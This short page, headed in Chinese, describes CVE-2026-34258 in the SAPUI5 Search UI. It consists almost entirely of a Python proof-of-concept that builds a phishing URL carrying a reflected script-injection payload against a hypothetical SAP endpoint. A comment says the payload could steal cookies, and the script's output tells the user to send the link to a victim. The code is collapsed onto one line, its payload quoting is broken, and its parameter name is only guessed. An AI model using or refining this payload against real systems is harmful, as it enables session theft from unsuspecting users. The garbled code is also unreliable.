CVE-2026-34258: SAPUI5 Search UI URL参数操纵漏洞导致恶意内容渲染

# PoC Concept for CVE-2026-34258 # This script demonstrates how a malicious URL could be generated. import urllib.parse def generate_malicious_url(base_url, vulnerable_param, payload): """Generates a malicious URL exploiting the parameter manipulation.""" params = {vulnerable_param: payload} query_string = urllib.parse.urlencode(params) return f"{base_url}?{query_string}" if __name__ == "__main__": # Example target endpoint (hypothetical based on SAPUI5 Search UI behavior) target = "https://victim-sap-system.com/sap/bc/ui5_ui5/sap/zsearch_ui/index.html" # The vulnerable parameter might be related to search query or navigation # Payload attempts to inject a script to display an alert or steal cookies malicious_payload = ""><script>alert('CVE-2026-34258 Exploited')</script><!--" exploit_url = generate_malicious_url(target, "searchTerm", malicious_payload) print("[+] Potential Exploit URL Generated:") print(exploit_url) print("\n[!] Send this link to a victim. If they click and the page renders, the script executes.")